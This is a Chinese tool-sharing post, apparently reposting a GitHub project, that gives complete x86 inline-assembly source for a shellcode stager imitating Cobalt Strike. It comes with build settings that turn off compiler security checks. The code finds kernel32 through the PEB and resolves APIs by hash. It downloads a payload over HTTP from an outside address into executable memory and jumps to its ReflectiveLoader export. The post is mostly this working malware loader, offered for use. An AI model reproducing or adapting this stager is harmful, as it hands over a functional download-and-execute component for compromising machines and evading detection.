模拟CobaltStrike的Shellcode生成
作者:Sec-Labs | 发布时间:
项目地址
https://github.com/Hurn99/ImitateCobaltStrikeShellcode
项目介绍
关闭一些VS的检查保护:
- 编译时选择 realse版本 属性->C/C++->代码生成->运行库->多线程 (/MT)
- 为了防止编译器自动生成的一系列代码造成的干扰 需要修改入口点 在属性->链接器->高级
- 属性->C/C++->代码生成->禁用安全检查GS
- 关闭生成清单 属性->链接器->清单文件->生成清单 选择否
- 关闭调试信息 属性->链接器->生成调试信息->否
- 取消SDL安全检查
- C/C++优化 优化->使大小最小化 (/O1) 优化大小或速度->代码大小优先 (/Os)
相关代码
#include <Windows.h>
#include <iostream>
using namespace std;
void _declspec(naked) shellCode() {
__asm {
push ebp
mov ebp, esp
call fun_payload
// 从PEB中获取kernel32 或者kernelbase的基址
fun_GetModule:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
mov esi, dword ptr fs : [0x30] //PEB指针
mov esi, [esi + 0xc] //LDR结构体地址
mov esi, [esi + 0x1c] //list
mov esi, [esi] //list的第二项 kernel32
mov esi, [esi + 0x8] //dllbase
mov eax, esi //
pop esi
mov esp, ebp
pop ebp
retn
// 从DLL中获取函数地址
fun_GetProcAddr :
push ebp
mov ebp, esp
sub esp, 0x20
push esi
push edi
push edx
push ebx
push ecx
mov edx, [ebp + 0X8] //传入参数1, DLLBase
mov esi, [edx + 0x3c] //lf_anew
lea esi, [edx + esi] //Nt头
mov esi, [esi + 0x78] //导出表RVA
lea esi, [edx + esi] //导出表VA
mov edi, [esi + 0x1c] //EAT RVA
lea edi, [edx + edi] //EAT VA
mov[ebp - 0x4], edi //local variable , EATVA
mov edi, [esi + 0x20] //ENT RVA
lea edi, [edx + edi] //ENT VA
mov[ebp - 0x8], edi //local variable ,ENTVA
mov edi, [esi + 0x24] //EOT RVA
lea edi, [edx + edi] //EOT VA
mov[ebp - 0xc], edi //local variable ,EOTVA
//比较字符串获取API
xor eax, eax
xor ebx, ebx
cld
jmp tag_cmpfirst
tag_cmpLoop :
inc ebx
tag_cmpfirst :
mov esi, [ebp - 0x8] //ENT
mov esi, [esi + ebx * 4] //RVA, index: ebx
lea esi, [edx + esi] //函数名称字符串
mov edi, [ebp + 0xc] //传入参数2, 要查找的目标函数hash
push esi //传参
call fun_GetHashCode //获取ENT函数名称的哈希值
cmp edi, eax
jne tag_cmpLoop
mov esi, [ebp - 0xc] //eot
xor edi, edi //为了不影响结果清空edi
mov di, [esi + ebx * 2] //eat表索引
mov edx, [ebp - 0x4] //eat
mov esi, [edx + edi * 4] //函数地址rva
mov edx, [ebp + 0x8] //dllbase
lea eax, [edx + esi] //funaddr va
pop ecx
pop ebx
pop edx
pop edi
pop esi
mov esp, ebp
pop ebp
retn 0x8
// 计算Hash
fun_GetHashCode:
push ebp
mov ebp, esp
sub esp, 0X4
push ecx
push edx
push ebx
mov dword ptr[ebp - 0x4], 0
mov esi, [ebp + 0x8]
xor ecx, ecx
tag_hashLoop :
xor eax, eax
mov al, [esi + ecx]
test al, al
jz tag_end
mov ebx, [ebp - 0x4]
shl ebx, 0x19
mov edx, [ebp - 0x4]
shr edx, 0x7
or ebx, edx
add ebx, eax
mov[ebp - 0x4], ebx
inc ecx //ecx++
jmp tag_hashLoop
tag_end :
mov eax, [ebp - 0x4]
pop ebx
pop edx
pop ecx
mov esp, ebp
pop ebp
retn 0x4;
// DWORD Rva2Offset( DWORD dwRva, UINT_PTR uiBaseAddress )
fun_Rva2Offset:
push ebp
mov ebp, esp
sub esp, 0x20
push esi
push edi
push edx
push ebx
push ecx
mov esi, [ebp + 0x8] // 传入参数,uiBaseAddress
mov edi, [esi + 0x3c] // lf_anew
lea edi, [esi + edi] // Nt头
lea edi, [edi + 0xf8] // section headers
jmp tag_rva2offset_first
tag_rva2offset_loop:
add edi, 0x28
tag_rva2offset_first:
mov edx, edi
mov ebx, [edx + 0xc] // virtualaddress
mov ecx, [edx + 0x10] // sizeofrawdata
cmp [ebp + 0xc], ebx // rva > virtualaddress
jl tag_rva2offset_loop // 不成立就继续循环找 jge jle
add ecx, ebx // sizeofrawdata + virtualaddress
cmp [ebp +0xc], ecx // rva < sizeofrawdata + virtualaddress
jg tag_rva2offset_loop // 不成立就继续循环找
sub [ebp + 0xc],ebx // rva - virtualaddress
mov ebx,[ebp + 0xc] //
add ebx, [edx + 0x14] // + PointerToRawData
mov eax, ebx // offset
pop ecx
pop ebx
pop edx
pop edi
pop esi
mov esp, ebp
pop ebp
retn 0
// DWORD GetReflectiveLoaderOffset( VOID * lpReflectiveDllBuffer )
fun_GetReflectiveLoaderOffset:
push ebp
mov ebp, esp
sub esp, 0x20
push esi
push edi
push edx
push ebx
push ecx
mov edx, [ebp + 0X8] //传入参数1, edx, DLLBase
mov esi, [edx + 0x3c] //lf_anew
lea esi, [edx + esi] //Nt头
mov esi, [esi + 0x78] //导出表RVA
push esi
push edx
call fun_Rva2Offset
lea esi, [edx + eax] //esi, 导出表FOA
mov edi, [esi + 0x1c] //EAT RVA
push edi //rva
push edx //dll Base
call fun_Rva2Offset //offset
lea edi, [edx + eax] //EAT FOA
mov [ebp - 0x4], edi //epb-0x4 , EAT FOA
mov edi, [esi + 0x20] //ENT RVA
push edi //rva
push edx //dll Base
call fun_Rva2Offset //offset
lea edi, [edx + eax] //ENT FOA
mov [ebp - 0x8], edi //ebp-0x8 ,ENT FOA
mov edi, [esi + 0x24] //EOT RVA
push edi //rva
push edx //dll Base
call fun_Rva2Offset //offset
lea edi, [edx + eax] //EOT VA
mov[ebp - 0xc], edi //ebp-0xc ,EOT FOA
//比较字符串获取API
xor eax, eax
xor ebx, ebx
cld
jmp tag_ref_cmpfirst
tag_ref_cmpLoop :
inc ebx
tag_ref_cmpfirst :
mov esi, [ebp - 0x8] //ENT
mov esi, [esi + ebx * 4] //RVA, index: ebx
push esi //rva
push edx //dll Base
call fun_Rva2Offset //offset
lea esi, [edx + eax] //函数名称字符串 offset
mov edi, [ebp + 0xc] //传入参数2, 要查找的目标函数hash
push esi //传参
call fun_GetHashCode //获取ENT函数名称的哈希值
cmp edi, eax
jne tag_ref_cmpLoop
mov esi, [ebp - 0xc] //eot
xor edi, edi //为了不影响结果清空edi
mov di, [esi + ebx * 2] //eat表索引
mov edx, [ebp - 0x4] //eat
mov esi, [edx + edi * 4] //函数地址rva
mov edx, [ebp + 0x8] //dllbase
push esi //rva
push edx //dll Base
call fun_Rva2Offset //offset
lea eax, [edx + eax] //funaddr va
pop ecx
pop ebx
pop edx
pop edi
pop esi
mov esp, ebp
pop ebp
retn 0x8
//payload
fun_payload:
push ebp
mov ebp, esp
sub esp, 0x300
call fun_GetModule
push 0XC917432 //LoadLibraryA 哈希值
push eax
call fun_GetProcAddr
mov [ebp - 0x4], eax //LoadLibraryA 地址, Win7下面可能会有问题
// InternetOpenA 0x4a83880c
// InternetOpenUrlA 0xf6090295
// InternetReadFile 0x73260a19
// Wininet.dll 57 69 6E 69 6E 65 74 2E 64 6C 6C 00
push 0x6c6c64
push 0x2e74656e
push 0x696e6957
push esp
call [ebp - 0x4] // LoadLibrary Wininet.dll
mov [ebp-0x8], eax // ebp-0x8 Wininet.dll Base
push 0x4a83880c // InternetOpenA Hash
push [ebp-0x8] // Wininet.dll Base
call fun_GetProcAddr
mov [ebp-0xc], eax // ebp-0xc InternetOpenA
push 0xf6090295 // InternetOpenUrlA Hash
push [ebp - 0x8] // Wininet.dll Base
call fun_GetProcAddr
mov [ebp - 0x10], eax // ebp-0x10 InternetOpenUrlA
push 0x73260a19 // InternetReadFile Hash
push[ebp - 0x8] // Wininet.dll Base
call fun_GetProcAddr
mov[ebp - 0x14], eax // ebp-0x14 InternetReadFile
/*
hInternetSession = InternetOpen(
L"tes", // agent
INTERNET_OPEN_TYPE_PRECONFIG, // access
NULL, NULL, 0);
hURL = InternetOpenUrl(
hInternetSession, // session handle
L"http://1.1.1.1/1.txt", // URL to access
NULL, 0, 0, 0);
*/
push 0x736574 //ua, tes
mov eax, esp
push 0
push 0
push 0
push 0
push eax //ua
call[ebp - 0xc] // call InternetOpenA
mov [ebp-0x18], eax // ebp-0x18 , hInternetSession
// http://1.1.1.1/1.txt 68 74 74 .... .... .... 74
push 0x747874
// ....
// ...
push 0x312f2f3a
push 0x70747468
mov eax, esp
push 0
push 0
push 0
push 0
push eax
push [ebp - 0x18]
call [ebp - 0x10] // call InternetOpenUrlA
mov [ebp-0x1c], eax // ebp-0x1c, hURL
// VirtualAlloc Hash 0x1ede5967
call fun_GetModule
mov [ebp - 0x20], eax // ebp-0x20 , Kernel32 or KernelBase DLL Base , 不确定会不会有问题
push 0x1ede5967 // InternetOpenA Hash
push [ebp - 0x20]
call fun_GetProcAddr
mov[ebp - 0x24], eax // ebp-0x24 VirtualAlloc
// LPVOID lpAlloc = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
push 0x40 // PAGE_EXECUTE_READWRITE
push 0x00001000 // MEM_COMMIT
push 0x100000 // 16MB的空间,待优化
push 0x0 // NULL
call [ebp-0x24] // VirtualAlloc 0x1000000
// 待清空分配空间
mov [ebp-0x28], eax // ebp-0x28 VirtualAlloc分配的空间
//mov [ebp - 0x2c],0 // 置为0
//mov [ebp - 0x30],0
//InternetReadFile(hURL, buf, (DWORD)sizeof(buf), &dwBytesRead);
//push [ebp-0x2c] // dwBytesRead
push esp
push 0x100000 // 要去读的size , 一次性读了16M ,待优化
push [ebp - 0x28] // virtualalloc 分配的buff
push [ebp - 0x1c] // hURL
call [ebp - 0x14] // call InternetReadFile
// 句柄待关闭,待优化
// 计算ReflectiveLoader的偏移 _ReflectiveLoader@4
push 0x98BD76A5 // ReflectiveLoader Hash 98BD76A5
push[ebp - 0x28]
call fun_GetReflectiveLoaderOffset
call eax
mov esp, ebp
pop ebp
ret
}
}
DWORD getHashCode(const char* strname)
{
DWORD digest = 0;
while (*strname)
{
digest = (digest << 25 | digest >> 7);
digest = digest + *strname;
strname++;
}
return digest;
}
int main()
{
printf("begin\n");
shellCode();
}
标签:工具分享